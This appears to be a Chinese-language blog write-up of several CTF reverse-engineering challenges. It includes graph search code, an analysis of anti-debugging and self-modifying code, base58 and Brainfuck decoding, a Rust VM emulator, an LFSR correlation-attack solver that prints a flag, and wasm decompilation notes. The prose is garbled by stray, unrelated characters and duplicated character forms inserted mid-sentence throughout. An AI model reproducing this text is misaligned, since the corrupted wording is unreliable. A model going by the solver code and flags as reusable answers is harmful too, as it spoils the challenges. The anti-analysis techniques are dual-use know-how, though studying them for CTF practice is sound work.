這次比賽做了四道簡單的RE...難的師父做了嘻嘻,我好菜我好菜我好菜,Helica tql!
cycle graph
主要記錄一份圖路徑搜索算法的代碼hh
# 找到一條從start到end的路徑
def findPath(graph,start,end,path=[]):
path = path + [start]
if start == end:
return path
for node in graph[start]:
if node not in path:
newpath = findPath(graph,node,end,path)
if newpath:
return newpath
return None
# 找到所有從start到end的路徑
def findAllPath(graph,start,end,path=[]):
path = path +[start]
if start == end:
return [path]
paths = [] #存儲所有路徑
for node in graph[start]:
if node not in path:
newpaths = findAllPath(graph,node,end,path)
for newpath in newpaths:
paths.append(newpath)
return paths
# 查找最短路徑
def findShortestPath(graph,start,end,path=[]):
path = path +[start]
if start == end:
return path
shortestPath = []
for node in graph[start]:
if node not in path:
newpath = findShortestPath(graph,node,end,path)
if newpath:
if not shortestPath or len(newpath)<len(shortestPath):
shortestPath = newpath
return shortestPath
'''
主程序
'''
graph = {'A': ['B', 'C','D'],
'B': [ 'E'],
'C': ['D','F'],
'D': ['B','E','G'],
'E': [],
'F': ['D','G'],
'G': ['E']}
onepath = findPath(graph,'A','G')
print('一條路徑:',onepath)
allpath = findAllPath(graph,'A','G')
print('\n所有路徑:',allpath)
shortpath = findShortestPath(graph,'A','G')
print('\n最短路徑:',shortpath)
天津垓
兩個考點瓶您,第一個是反調(diào)試非驮,第二個是smc
反調(diào)試中一個是枚舉窗口檢測ida od等等唯绍,還有一個是判斷STARTUPINFO信息
題目有兩個驗證部分烈炭,第一個驗證是代碼中直接可見的官份,我用z3求解解出來了缴罗,第二個是需要經(jīng)過smc后才可見的助琐,我做題的時候并沒有發(fā)現(xiàn)smc,用的持續(xù)單步然后dump出解密后的代碼的方式面氓。 不過這個smc函數(shù)并不在基本的流程里面兵钮,主要是使用了cygwin這個動態(tài)庫,然后調(diào)用的侧但,我查了一下cygwin這個動態(tài)庫矢空,主要是用來在windows平臺上實現(xiàn)linux平臺函數(shù)使用的,我后來調(diào)試的時候也是發(fā)現(xiàn)先進(jìn)入cygwin.dll然后就到了smc函數(shù)的地方禀横,我沒太懂這個具體的原理==下面是smc的部分
// sub_100401506(sub_10040164D, 0x415, Str);
// 函數(shù)調(diào)用如上屁药,主要用來修改sub_10040164D這個函數(shù),修改的長度是0x415,Str是第一部分的輸入
BOOL __fastcall sub_100401506(void *a1, int a2, __int64 a3)
{
BOOL result; // eax
DWORD flOldProtect; // [rsp+28h] [rbp-8h]
int i; // [rsp+2Ch] [rbp-4h]
LPVOID lpAddress; // [rsp+40h] [rbp+10h]
int v7; // [rsp+48h] [rbp+18h]
__int64 v8; // [rsp+50h] [rbp+20h]
lpAddress = a1;
v7 = a2;
v8 = a3;
if ( strlen(Str) != 18 )
exit(1);
if ( !VirtualProtect(lpAddress, v7, 0x40u, &flOldProtect) ) //將代碼段的內(nèi)存屬性修改為可讀寫和執(zhí)行
exit(1);
for ( i = 0; i < v7; ++i )
*(lpAddress + i) ^= *(i % 18 + v8);
result = VirtualProtect(lpAddress, v7, flOldProtect, &flOldProtect); //修改后還原原來的內(nèi)存屬性
if ( !result )
exit(1);
return result;
}
在 Windows 程序中使用了VirtualProtect()函數(shù)來改變虛擬內(nèi)存區(qū)域的屬性。函數(shù)聲明如下:
#include <Memoryapi.h>
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
VirtualProtect()函數(shù)有4個參數(shù)柏锄,lpAddress是要改變屬性的內(nèi)存起始地址酿箭,dwSize是要改變屬性的內(nèi)存區(qū)域大小,flAllocationType是內(nèi)存新的屬性類型趾娃,lpflOldProtect內(nèi)存原始屬性類型保存地址缭嫡。而flAllocationType部分值如下表。在 SMC 中常用的是 0x40抬闷。
這里smc就是一個簡單的與第一部分的輸入進(jìn)行一個異或妇蛀,使用idc腳本可以得到修改后的代碼
第二部分我還是用z3求解,但是因為乘數(shù)是素數(shù)也可以直接求逆元
fxck!
這道題出的還挺那啥的,出題人一手替換文件把我坑慘了...題目最開始的驗證部分寫的有問題,但是我也有自己的問題,第一個就是不會base58(u1s1就算不知道base58我就連16進(jìn)制轉(zhuǎn)58進(jìn)制都沒看出來...活該我菜)第二個就是不會brainfuck,我以為是個虛擬機(jī)分析了好久,雖然分析出來加密的過程了但是用時太長了...記錄一下這兩個
加密部分
加密部分就是個base58,典型特征就是轉(zhuǎn)58(0x3a)進(jìn)制,還有查表操作,反編譯的代碼如下
for ( i = 0; i < v10; ++i ) //進(jìn)制轉(zhuǎn)換
{
v14 = *(char *)(i + v11);
for ( j = 0; j < v12; ++j )
{
v14 += *((unsigned __int8 *)v20 + j) << 8;
*((_BYTE *)v20 + j) = v14 % 0x3A;
v14 /= 0x3Au;
}
while ( v14 )
{
v4 = v12++;
*((_BYTE *)v20 + v4) = v14 % 0x3A;
v14 /= 0x3Au;
}
}
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "WAIT WAIT WAIT!");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
v16 = 0;
while ( v16 < v10 && !*(_BYTE *)(v16 + v11) )
{
v6 = v16++;
*(_BYTE *)(v6 + v9) = 49;
}
for ( k = 0; k <= 57; ++k )
byte_602500[k] ^= byte_602490[k % 7] ^ (unsigned __int8)k;
for ( l = 0; l < v12; ++l ) //查表操作
*(_BYTE *)(v16 + l + v9) = byte_602500[*((unsigned __int8 *)v20 + v12 - 1 - l)];
驗證部分
驗證部分是一個brainfuck語言的解釋器笤成,這種語言基于一個簡單的機(jī)器模型评架,除了指令,這個機(jī)器還包括:一個以字節(jié)為單位炕泳、被初始化為零的數(shù)組纵诞、一個指向該數(shù)組的指針(初始時指向數(shù)組的第一個字節(jié))、以及用于輸入輸出的兩個字節(jié)流培遵。關(guān)于這個語言的介紹:
Brainfuck
Brainfuck在線解析器
這個語言一共只包含如下8個狀態(tài)
典型特征是代碼中包含指針的加減以及指針指向值的加減
while ( v5 < i )
{
v2 = (unsigned __int8)byte_6020A0[v5];
if ( v2 == 0xC4 )
{
++*v9; //+
}
else if ( v2 > 196 )
{
switch ( v2 )
{
case 0xDD: //[
if ( !*v9 )
v5 = dword_603B20[v5];
break;
case 0xFD: //]
v5 = dword_603B20[v5] - 1;
break;
case 0xC5:
--*v9; //-
break;
}
}
else
{
switch ( v2 )
{
case 0xA8:
++v9; //>
break;
case 0xA9:
--v9; //<
break;
case 1: //.
v3 = v7++;
s1[v3] = *v9;
break;
}
}
++v5;
}
提取byte_6020A0中的指令浙芙,使用下面的解釋器可以對brainfuck反編譯
import re
def sym2cal(s):
if '>' in s:
return len(s)
else:
return -len(s)
def cal(s):
if '+' in s:
return '+= %d'%len(s)
else:
return '-= %d'%len(s)
def bf2asm(s,ptr,tab):
p = 0
l = len(s)
while(p<l):
pattern = re.compile(r'([><]*)\[-([><]*)\[-\]([><]+)\[-\]([><]+)\[-([><]+)\+([><]+)\+([><]+)\]([><]+)\[-([><]+)\+([><]+)\]([><]*)\[-([><]+)\+([><]+)\]([><]*)\]')
match = pattern.match(s[p:])
if match:
p += len(match.group())
groups = match.groups()
ptr1 = ptr + sym2cal(groups[0])
ptr2 = ptr1
for i in xrange(1,4):
ptr2 += sym2cal(groups[i])
ptr3 = ptr2
for i in xrange(4,12):
ptr3 += sym2cal(groups[i])
print tab+'mem[%d] += mem[%d]*mem[%d]'%(ptr3,ptr2,ptr1)
for v in groups:
ptr += sym2cal(v)
continue
pattern = re.compile(r'([><]*)\[-\]([><]+)\[-\]([><]+)\[-([><]+)\+([><]+)\+([><]+)\]([><]+)\[-([><]+)\+([><]+)\]([><]*)\[-([><]+)\+([><]+)\]')
match = pattern.match(s[p:])
if match:
p += len(match.group())
groups = match.groups()
ptr1 = ptr
for i in xrange(3):
ptr1 += sym2cal(groups[i])
ptr2 = ptr1
for i in xrange(3,11):
ptr2 += sym2cal(groups[i])
print tab+'mem[%d] += mem[%d]'%(ptr2,ptr1)
for v in groups:
ptr += sym2cal(v)
continue
pattern = re.compile(r'([><]*)\[-\]([><]+)\[-\]([><]+)\[-([><]+)\+([><]+)\+([><]+)\]([><]+)\[-([><]+)\+([><]+)\]([><]+)')
match = pattern.match(s[p:])
if match:
p += len(match.group())
groups = match.groups()
ptr1 = ptr + sym2cal(groups[0])
ptr2 = ptr1 + sym2cal(groups[1])
ptr3 = ptr2 + sym2cal(groups[2])
print tab+'mem[%d] = mem[%d]'%(ptr1,ptr3)
for v in groups:
ptr += sym2cal(v)
continue
pattern = re.compile(r'\[-\]')
match = pattern.match(s[p:])
if match:
p += len(match.group())
print tab+'mem[%d] = 0'%(ptr)
continue
pattern = re.compile(r'>+')
match = pattern.match(s[p:])
if match:
p += len(match.group())
ptr += len(match.group())
continue
pattern = re.compile(r'<+')
match = pattern.match(s[p:])
if match:
p += len(match.group())
ptr -= len(match.group())
continue
pattern = re.compile(r'\++')
match = pattern.match(s[p:])
if match:
p += len(match.group())
print tab+'mem[%d] %s'%(ptr,cal(match.group()))
continue
pattern = re.compile(r'-+')
match = pattern.match(s[p:])
if match:
p += len(match.group())
print tab+'mem[%d] %s'%(ptr,cal(match.group()))
continue
c = s[p]
if c == '[':
stk = 1
for i,v in enumerate(s[p+1:]):
if v == '[':
stk += 1
elif v == ']':
stk -= 1
else:
continue
if stk == 0:
print tab+'while mem[%d]:'%ptr
ptr = bf2asm(s[p+1:p+1+i],ptr,tab+'\t')
p += i+1
break
continue
elif c == ',':
if input_ptr < 96:
print tab+'mov mem[%d] input[input_ptr]'%ptr
else:
if bit_add >= 3600:
print tab+'mov mem[%d] 0x30'%ptr
else:
print tab+'mov mem[%d] 1'%ptr
elif c == '.':
print tab+'cmp mem[%d] data[data_ptr]'%ptr
p += 1
return ptr
s = ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[-]<<<<<<<<<<<<<<<<<<<<<<<[-]>>>>>>>>>>>>>>>>>>>>>>[->+<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>,>>>>>>[-]<<<<<<<<<<<<<<<<<<<<<<<<<<<<[-]>>>>>>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>]"
input_ptr = 0
bit_add = 0
bf2asm(s,0,'')
easyparser
這道題是做出來讓我最高興的一道題(xiaoku.jpg)主要是查了一下發(fā)現(xiàn)用了Rust,Rust代碼里面會多了很多安全檢查的部分來擾亂一下視線(比如說做加法之前會檢查加法會不會溢出),去掉這些安全檢查的部分之后倒是挺容易看出來解釋器的邏輯,之后就是體力活了==
wp里面有句話記錄一下登刺,或許以后出題用得著呢嘻嘻
一個vm逆向題目,在.init_array中初始化了一部分?jǐn)?shù)據(jù)嗡呼,在.fin_array中進(jìn)行flag的檢查纸俭,由于Rust編程
規(guī)范不允許在main前和main后編寫邏輯,所以先用Rust寫了一個so庫南窗,用c語言進(jìn)行一次包裹
逆出來以后可以看出來流程掉蔬,第一層用來檢查輸入長度等于38,第二層將輸入的中間部分矾瘾,左移2后與99異或等于特定值.下面是反編譯的代碼
data = [0, 0, 18, 1, 1, 18, 2, 2, 18, 3, 3, 18, 6, 6, 18, 7, 7, 18, 0, 105, 1, 1, 110, 1, 2, 112, 1, 3, 117, 1, 6, 116, 1, 7, 32, 1, 0, 0, 24, 1, 0, 24, 2, 0, 24, 3, 0, 24, 6, 0, 24, 7, 0, 24, 0, 102, 1, 1, 108, 1, 2, 97, 1, 3, 103, 1, 6, 58, 1, 7, 32, 1, 0, 0, 24, 1, 0, 24, 2, 0, 24, 3, 0, 24, 6, 0, 24, 7, 0, 24, 1, 1, 18, 0, 0, 23, 0, 0, 5, 1, 1, 7, 1, 38, 26, 31, 0, 30, 0, 0, 25, 0, 0, 6, 0, 125, 26, 18, 0, 28, 0, 98, 1, 1, 121, 1, 2, 101, 1, 3, 126, 1, 6, 126, 1, 7, 126, 1, 0, 0, 24, 1, 0, 24, 2, 0, 24, 3, 0, 24, 6, 0, 24, 7, 0, 24, 0, 10, 1, 0, 0, 24, 0, 0, 25, 8, 256, 1, 8, 225, 26, 25, 0, 30, 0, 0, 6, 8, 0, 4, 8, 1, 9, 19, 0, 29, 0, 0, 6, 0, 123, 26, 3, 0, 31, 0, 0, 6, 0, 103, 26, 3, 0, 31, 0, 0, 6, 0, 97, 26, 3, 0, 31, 0, 0, 6, 0, 108, 26, 3, 0, 31, 0, 0, 6, 0, 102, 26, 3, 0, 31, 9, 9, 18, 10, 225, 1, 7, 9, 3, 6, 10, 3, 6, 99, 17, 6, 2, 13, 6, 7, 27, 3, 0, 31, 9, 1, 7, 10, 1, 7, 9, 32, 26, 42, 0, 30, 0, 99, 1, 1, 111, 1, 2, 114, 1, 3, 114, 1, 6, 101, 1, 7, 99, 1, 0, 0, 24, 1, 0, 24, 2, 0, 24, 3, 0, 24, 6, 0, 24]
qword_6C09B8 = [144, 332, 28, 240, 132, 60, 24, 64, 64, 240, 208, 88, 44, 8, 52, 240, 276, 240, 128, 44, 40, 52, 8, 240, 144, 68, 48, 80, 92, 44, 264, 240] + [0]*1248
qword_6BF1B8 = [0] * 768
EIP = 0x1f
qword_6BF130 = [0x66, 0, 0x61, 0x67] + [0]*100
qword_6BF150 = 0x100
flag = "flag{G0ertyuiopasdfghjklzxcvbnmoooouu}"
index = 0
while True:
opcode = data[EIP * 3 + 2]
arg1 = data[EIP * 3]
arg2 = data[EIP * 3 + 1]
EIP = EIP + 1
if opcode == 25:
print "exit",25
# print qword_6BF1B8
if index == 38:
data = [0, 0, 6, 0, 125, 26, 18, 0, 28, 0, 98, 1, 1, 121, 1, 2, 101, 1, 3, 126, 1, 6, 126, 1, 7, 126, 1, 0, 0, 24, 1, 0, 24, 2, 0, 24, 3, 0, 24, 6, 0, 24, 7, 0, 24, 0, 10, 1, 0, 0, 24, 0, 0, 25, 8, 256, 1, 8, 225, 26, 25, 0, 30, 0, 0, 6, 8, 0, 4, 8, 1, 9, 19, 0, 29, 0, 0, 6, 0, 123, 26, 3, 0, 31, 0, 0, 6, 0, 103, 26, 3, 0, 31, 0, 0, 6, 0, 97, 26, 3, 0, 31, 0, 0, 6, 0, 108, 26, 3, 0, 31, 0, 0, 6, 0, 102, 26, 3, 0, 31, 9, 9, 18, 10, 225, 1, 7, 9, 3, 6, 10, 3, 6, 99, 17, 6, 2, 13, 6, 7, 27, 3, 0, 31, 9, 1, 7, 10, 1, 7, 9, 32, 26, 42, 0, 30, 0, 99, 1, 1, 111, 1, 2, 114, 1, 3, 114, 1, 6, 101, 1, 7, 99, 1, 0, 0, 24, 1, 0, 24, 2, 0, 24, 3, 0, 24, 6, 0, 24, 7, 0, 24, 0, 116, 1, 1, 108, 1, 2, 121, 1, 3, 33, 1, 6, 10, 1, 0, 0, 24, 1, 0, 24, 2, 0, 24, 3, 0, 24, 6, 0, 24, 0, 0, 25]
EIP = 0
index = 0
else:
break
elif opcode == 0:
v31 = qword_6BF130[arg1]
qword_6C09B8[v31] = arg2
print "v31 = qword_6BF130[",arg1,"]"
print "qword_6C09B8[",v31,"] = ",arg2
elif opcode == 1:
print "qword_6BF130[",arg1,"] = ",arg2
qword_6BF130[arg1] = arg2
elif opcode == 2:
qword_6BF130[arg1] = qword_6BF130[arg2]
print "qword_6BF130[",arg1,"] = qword_6BF130[",arg2,"];"
elif opcode == 3:
v29 = qword_6BF130[arg2]
qword_6BF130[arg1] = qword_6C09B8[v29]
print "v29 = qword_6BF130[",arg2,"]"
print "qword_6BF130[",arg1,"] = qword_6C09B8[",v29,"]"
elif opcode == 4:
v30 = qword_6BF130[arg1]
qword_6C09B8[v30] = qword_6BF130[arg2]
print "v30 = qword_6BF130[",arg1,"]"
print "qword_6C09B8[",v30,"] = qword_6BF130[",arg2,"]"
elif opcode == 5:
qword_6BF150 += 1
qword_6BF1B8[qword_6BF150] = qword_6BF130[arg1]
print "qword_6BF150 = qword_6BF150 + 1"
print "qword_6BF1B8[",qword_6BF150,"] = qword_6BF130[",arg1,"]"
elif opcode == 6:
qword_6BF130[arg1] = qword_6BF1B8[qword_6BF150]
qword_6BF150 = qword_6BF150 - 1
print "qword_6BF130[",arg1,"] = qword_6BF1B8[",qword_6BF150,"]"
print "qword_6BF150 = qword_6BF150 - 1"
elif opcode == 7:
qword_6BF130[arg1] += arg2
print "qword_6BF130[",arg1,"] += ",arg2
elif opcode == 8:
v28 = qword_6BF130[arg2]
qword_6BF130[arg1] += v28
print "v28 = qword_6BF130[",arg2,"]"
print "qword_6BF130[",arg1,"] += ",v28
elif opcode == 9:
v3 = qword_6BF130[arg1]
qword_6BF130[arg1] = v3 - arg2
print "v3 = qword_6BF130[",arg1,"]"
print "qword_6BF130[",arg1,"] = ",v3,"-", arg2
elif opcode == 10:
v27 = qword_6BF130[arg2]
v4 = qword_6BF130[arg1]
qword_6BF130[arg1] = v4 - v27
print "v27 = qword_6BF130[",arg2,"]"
print "v4 = qword_6BF130[",arg1,"]"
print "qword_6BF130[",arg1,"] = ",v4 ,"-",v27
elif opcode == 11:
qword_6BF130[arg1] *= arg2
print "qword_6BF130[",arg1,"] *= ",arg2
elif opcode == 12:
v26 = qword_6BF130[arg2]
qword_6BF130[arg1] *= v26
print "v26 = qword_6BF130[",arg2,"]"
print "qword_6BF130[",arg1,"] *= ",v26
elif opcode == 13:
qword_6BF130[arg1] <<= arg2 & 0x3F
print "qword_6BF130[",arg1,"] <<= ",arg2,"& 0x3F"
elif opcode == 14:
v25 = qword_6BF130[arg2]
qword_6BF130[arg1] <<= v25 & 0x3F
print "v25 = qword_6BF130[",arg2,"]"
print "qword_6BF130[",arg1,"] <<= ",v25 ,"& 0x3F"
elif opcode == 15:
qword_6BF130[arg1] >>= arg2 & 0x3F
print "qword_6BF130[",arg1,"] >>= ",arg2 ,"& 0x3F"
elif opcode == 16:
v24 = qword_6BF130[arg2]
qword_6BF130[arg1] >>= v24 & 0x3F
print "v24 = qword_6BF130[",arg2,"]"
print "qword_6BF130[",arg1,"] >>= ",v24 ,"& 0x3F"
elif opcode == 17:
qword_6BF130[arg1] ^= arg2
print "qword_6BF130[",arg1,"] ^= ",arg2
elif opcode == 18:
qword_6BF130[arg1] ^= qword_6BF130[arg2]
print "qword_6BF130[",arg1,"] ^= qword_6BF130[",arg2,"]"
elif opcode == 19:
qword_6BF130[arg1] |= arg2
print "qword_6BF130[",arg1,"] |= ",arg2
elif opcode == 20:
qword_6BF130[arg1] |= qword_6BF130[arg2]
print "qword_6BF130[",arg1,"] |= qword_6BF130[",arg2,"]"
elif opcode == 21:
qword_6BF130[arg1] &= arg2
print "qword_6BF130[",arg1,"] &= ",arg2
elif opcode == 22:
qword_6BF130[arg1] &= qword_6BF130[arg2]
print "qword_6BF130[",arg1,"] &= qword_6BF130[",arg2,"]"
elif opcode == 23:
qword_6BF130[arg1] = ord(flag[index])
index = index + 1
print "qword_6BF130[",arg1,"] =", flag[index - 1]
# if flag == 32:
# print "get another one"
# break
# flag = True
elif opcode == 24:
v13 = qword_6BF130[arg1]
print "v13 = qword_6BF130[",arg1,"]"
elif opcode == 26:
byte_6BF1B0 = qword_6BF130[arg1] == arg2
byte_6BF1B1 = qword_6BF130[arg1] < arg2
print "byte_6BF1B0 = qword_6BF130[",arg1,"] == ",arg2
print "byte_6BF1B1 = qword_6BF130[",arg1,"] < ",arg2
elif opcode == 27:
byte_6BF1B0 = qword_6BF130[arg1] == qword_6BF130[arg2]
byte_6BF1B1 = qword_6BF130[arg1] < qword_6BF130[arg2]
print "byte_6BF1B0 = qword_6BF130[",arg1,"] == qword_6BF130[",arg2,"]"
print "byte_6BF1B1 = qword_6BF130[",arg1,"] < qword_6BF130[",arg2,"]"
print "==>",qword_6BF130[arg1], qword_6BF130[arg2]
elif opcode == 28:
if byte_6BF1B0 == 1:
EIP = arg1
print "if byte_6BF1B0 == 1: EIP = ",arg1
elif opcode == 29:
EIP = arg1
print " EIP = ",arg1
elif opcode == 30:
if byte_6BF1B1 == 1:
EIP = arg1
print "if ( byte_6BF1B1 == 1 )EIP = ",arg1
elif opcode == 31:
if not byte_6BF1B0:
EIP = arg1
print "if ( !byte_6BF1B0 )EIP = ",arg1
else:
print "Unkown opcode",opcode
break
clock
從這里開始都是我不會的題==
這個題的加密流程很容易能看出來,但是我不會解...后來師父來了很快就做出來了略(Helica好厲害好厲害我好菜我好菜),wp中說是窮舉鐘控的寄存器初態(tài),對另外兩個寄存器快速相關(guān)攻擊箭启。
程序?qū)崿F(xiàn)了一個時鐘控制的非線性移位寄存器壕翩,由一個lfsr控制另外兩個lfsr的輸出。
x = n1 ? n3 : n2
用相關(guān)性攻擊傅寡,先分析輸出與三個lfsr的關(guān)系放妈,可知輸出與n2和n3相同的概率是0.75,和n1相同的概率是0.5荐操。先分別爆破猜出n2和n3芜抒,之后再爆破推出n1。
def lfsr_1(R, mask):
output = (R << 1) & 0x1fffff
i = (R & mask) & 0x1fffff
lastbit = 0
while i != 0:
lastbit ^= (i & 1)
i = i >> 1
output ^= lastbit
return (output, lastbit)
def lfsr_2(R, mask):
output = (R << 1) & 0x3fffff
i = (R & mask) & 0x3fffff
lastbit = 0
while i != 0:
lastbit ^= (i & 1)
i = i >> 1
output ^= lastbit
return (output, lastbit)
def lfsr_3(R, mask):
output = (R << 1) & 0x7fffff
i = (R & mask) & 0x7fffff
lastbit = 0
while i != 0:
lastbit ^= (i & 1)
i = i >> 1
output ^= lastbit
return (output, lastbit)
def single_round(R1, R1_mask, R2, R2_mask, R3, R3_mask):
(R1_NEW, x1) = lfsr_1(R1, R1_mask)
(R2_NEW, x2) = lfsr_2(R2, R2_mask)
(R3_NEW, x3) = lfsr_3(R3, R3_mask)
return (R1_NEW, R2_NEW, R3_NEW, x3 if x1 == 1 else x2)
R1_mask = 0x17FA06
R2_mask = 0x2A9A0D
R3_mask = 0x5E5E6A
n3 = 23
n2 = 22
n1 = 21
def guess_2(beg, end, num, mask):
ansn = range(beg, end)
data = open('./output').read(num)
data = ''.join(bin(256 + ord(c))[3:] for c in data)
now = 0
res = 0
for i in ansn:
r = i
cnt = 0
for j in range(num * 8):
r, lastbit = lfsr_2(r, mask)
lastbit = str(lastbit)
cnt += (lastbit == data[j])
if cnt > now:
now = cnt
res = i
print now, res,
print 'cor rate: %f' % (cnt*1.0 / (num*8))
return res
def guess_3(beg, end, num, mask):
ansn = range(beg, end)
data = open('./output').read(num)
data = ''.join(bin(256 + ord(c))[3:] for c in data)
now = 0
res = 0
for i in ansn:
r = i
cnt = 0
for j in range(num * 8):
r, lastbit = lfsr_3(r, mask)
lastbit = str(lastbit)
cnt += (lastbit == data[j])
if cnt > now:
now = cnt
res = i
print now, res,
print 'cor rate: %f' % (cnt*1.0 / (num*8))
return res
def bruteforce1(y, z):
data = open('./output').read(50)
data = ''.join(bin(256 + ord(c))[3:] for c in data)
for x in range(pow(2, n1 - 1), pow(2, n1)):
R1, R2, R3 = x, y, z
flag = True
for i in range(len(data)):
(R1, R2, R3,
out) = single_round(R1, R1_mask, R2, R2_mask, R3, R3_mask)
if str(out) != data[i]:
flag = False
break
if y % 10000 == 0:
print 'now: ', x, y, z
if flag:
print 'ans: ', hex(x)[2:], hex(y)[2:], hex(z)[2:]
break
#R2 = guess_2(pow(2, n2 - 1), pow(2, n2), 50, R2_mask)
R2 = 3324079
print R2
#R3 = guess_3(pow(2, n3 - 1), pow(2, n3), 50, R3_mask)
R3 = 4958299
print R3
bruteforce1(R2, R3)
X1cT34m給了一個c版本的,應(yīng)該要快很多,記錄一下
#include <stdio.h>
#include <stdint.h>
void lfsr(
int init, int mask1, int mask2, uint8_t* seq, int len
) {
for(int j = 0; j < len; j++) {
uint8_t byte = 0;
uint8_t bit = 8;
do {
uint8_t output = 0;
int x = init & mask1;
while (x) {
output ^= x & 1;
x >>= 1;
}
init = (output ^ (init << 1)) & mask2;
byte = (byte << 1) ^ output;
bit--;
} while (bit);
seq[j] = byte;
}
}
double correlation(
uint8_t* A, uint8_t* B, int len
) {
int N = len * 8;
int d = 0;
for(int i = 0; i < len; i++) {
uint8_t bit = 8;
uint8_t a = A[i];
uint8_t b = B[i];
do {
if ((a & 1) == (b & 1))
d++;
a >>= 1;
b >>= 1;
bit--;
} while (bit);
}
return (double)d / N;
}
uint8_t mixed_output[] = {
95, 83, 107, 255, 209, 96, 188, 166, 230, 219, 223, 72, 150, 155, 169,
138, 126, 0, 91, 20, 19, 109, 82, 12, 249, 91, 39, 107, 104, 55, 207,
65, 155, 197, 204, 81, 76, 22, 83, 208, 215, 13, 254, 14, 43, 87, 29,
42, 161, 92, 2, 109, 110, 232, 201, 147, 19, 53, 216, 82, 144, 169,
34, 193, 106, 0, 253, 224, 7, 46, 24, 16, 226, 127, 164, 162, 54, 98,
144, 141, 182, 174, 252, 64, 130, 19, 163, 242, 176, 78, 79, 3, 19, 11,
160, 121, 149, 44, 53, 17,
}; // 100
void guess2(
) {
int len = 100;
uint8_t seq[100] = {};
int possible_r2 = 0;
double max_p = 0.0;
int r2;
for (r2 = 0; r2 < (1<<22); r2++) {
lfsr(r2, 0x2A9A0D, 0x3FFFFF, seq, 100);
double corr = correlation(seq, mixed_output, len);
if (corr > max_p) {
possible_r2 = r2;
max_p = corr;
}
}
printf("%d %f", possible_r2, max_p); // 3324079
}
void guess3(
) {
int len = 100;
uint8_t seq[100] = {};
int possible_r3 = 0;
double max_p = 0.0;
int r3;
for (r3 = 0; r3 < (1<<23); r3++) {
lfsr(r3, 0x5E5E6A, 0x7FFFFF, seq, 100);
double corr = correlation(seq, mixed_output, len);
if (corr > max_p) {
possible_r3 = r3;
max_p = corr;
}
}
printf("%d %f", possible_r3, max_p); // 4958299
}
void brute_force(
) {
uint8_t seq_r1[100] = {};
uint8_t seq_r2[100] = {};
uint8_t seq_r3[100] = {};
int r2 = 3324079;
int r3 = 4958299;
lfsr(r2, 0x2A9A0D, 0x3FFFFF, seq_r2, 100);
lfsr(r3, 0x5E5E6A, 0x7FFFFF, seq_r3, 100);
for(int r1 = 1427994; r1 < (1<<21); r1++) {
lfsr(r1, 0x17FA06, 0x1FFFFF, seq_r1, 100);
for (int i = 0; i < 100; i++) {
int byte = 0;
for(int bit = 7; bit >= 0; bit--) {
int x1 = (seq_r1[i]>>bit) & 1;
int x2 = (seq_r2[i]>>bit) & 1;
int x3 = (seq_r3[i]>>bit) & 1;
byte = (byte<<1) ^ ((x1*x3)^((x1^1)*x2));
}
if (byte != mixed_output[i]) break;
if (i == 99) printf("%d", r1); // 1427994
}
}
}
int main(
) {
// guess2();
// guess3();
// brute_force();
int r1 = 1427994;
int r2 = 3324079;
int r3 = 4958299;
printf("flag{%x%x%x}", r1, r2, r3); // flag{15ca1a32b8af4ba85b}
}
關(guān)于LFSR的一些資料
線性反饋移位寄存器與梅森旋轉(zhuǎn)算法
深入分析CTF中的LFSR類題目(一)
深入分析CTF中的LFSR類題目(二)
baby_wasi
趁著這道題好好學(xué)習(xí)了一下wasm,感覺收獲還挺多的(Helica tql tql tql)
反編譯wasm
這道題用了wasmer-c-api來構(gòu)建,主程序為baby_wasi,program.wasm為子程序,主要處理字符串變換邏輯.首先對program.wasm逆向分析.基礎(chǔ)教程:
一種Wasm逆向靜態(tài)分析方法
反匯編的話托启,可以用wasm2wat
把wasm反匯編成wat宅倒,https://developer.mozilla.org/zh-CN/docs/WebAssembly/Understanding_the_text_format 這里面對wat進(jìn)行了一些解釋
還可以把wasm轉(zhuǎn)成c語言的格式,用wasm2c
$ ./wasm2c wasm.wasm -o wasm.c
==> 得到wasm.c和wasm.h
但是因為生成的c語言很長而且基本跟看wat沒什么區(qū)別屯耸,所以需要再編譯成二進(jìn)制文件放到ida里面去看
將之前反編譯出來的wasm.c拐迁,wasm.h,以及wabt項目內(nèi)的wasm-rt.h疗绣,wasm-rt-impl.c线召,wasm-rt-impl.h三個文件放到同一個文件夾。
直接gcc wasm.c會報錯多矮,因為很多wasm的函數(shù)沒有具體的實現(xiàn)缓淹。但是我們可以只編譯不鏈接,我們關(guān)心的只是程序本身的邏輯塔逃,不需要真正編譯出能運行的elf來讯壶。
$ gcc -c wasm.c -o wasm.o
得到的還未連接的elf文件wasm.o, 將wasm.o放到ida里面分析會比較清楚一些。
查找main函數(shù)
從反編譯的代碼里面可以看到有_start函數(shù),然后需要從這一堆函數(shù)里面找到關(guān)鍵函數(shù)...對于wasm患雏,所有的字符串會被存放在二進(jìn)制文件的末尾鹏溯,而且wasm并不是直接對地址的引用,想找到這些字符串會比較困難淹仑。Nu1L的wp里面說識別出來malloc,free,exit這些函數(shù)然后才推測出來main函數(shù)的位置,我在谷歌上找到了一份保留函數(shù)名稱的代碼丙挽,可以對照著識別出來main函數(shù)肺孵,函數(shù)如下:
static void _start(void) {
u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0;
FUNC_PROLOGUE;
u32 i0, i1, i2;
i0 = g0;
i1 = 16u;
i0 -= i1;
l0 = i0;
g0 = i0;
__wasilibc_init_preopen();
i0 = 3u;
l1 = i0;
L1:
i0 = l1;
i1 = l0;
i0 = (*Z_wasi_unstableZ_fd_prestat_getZ_iii)(i0, i1);
l2 = i0;
i1 = 8u;
i0 = i0 > i1;
if (i0) {goto B0;}
i0 = l2;
switch (i0) {
case 0: goto B3;
case 1: goto B0;
case 2: goto B0;
case 3: goto B0;
case 4: goto B0;
case 5: goto B0;
case 6: goto B0;
case 7: goto B0;
case 8: goto B2;
default: goto B3;
}
B3:;
i0 = l0;
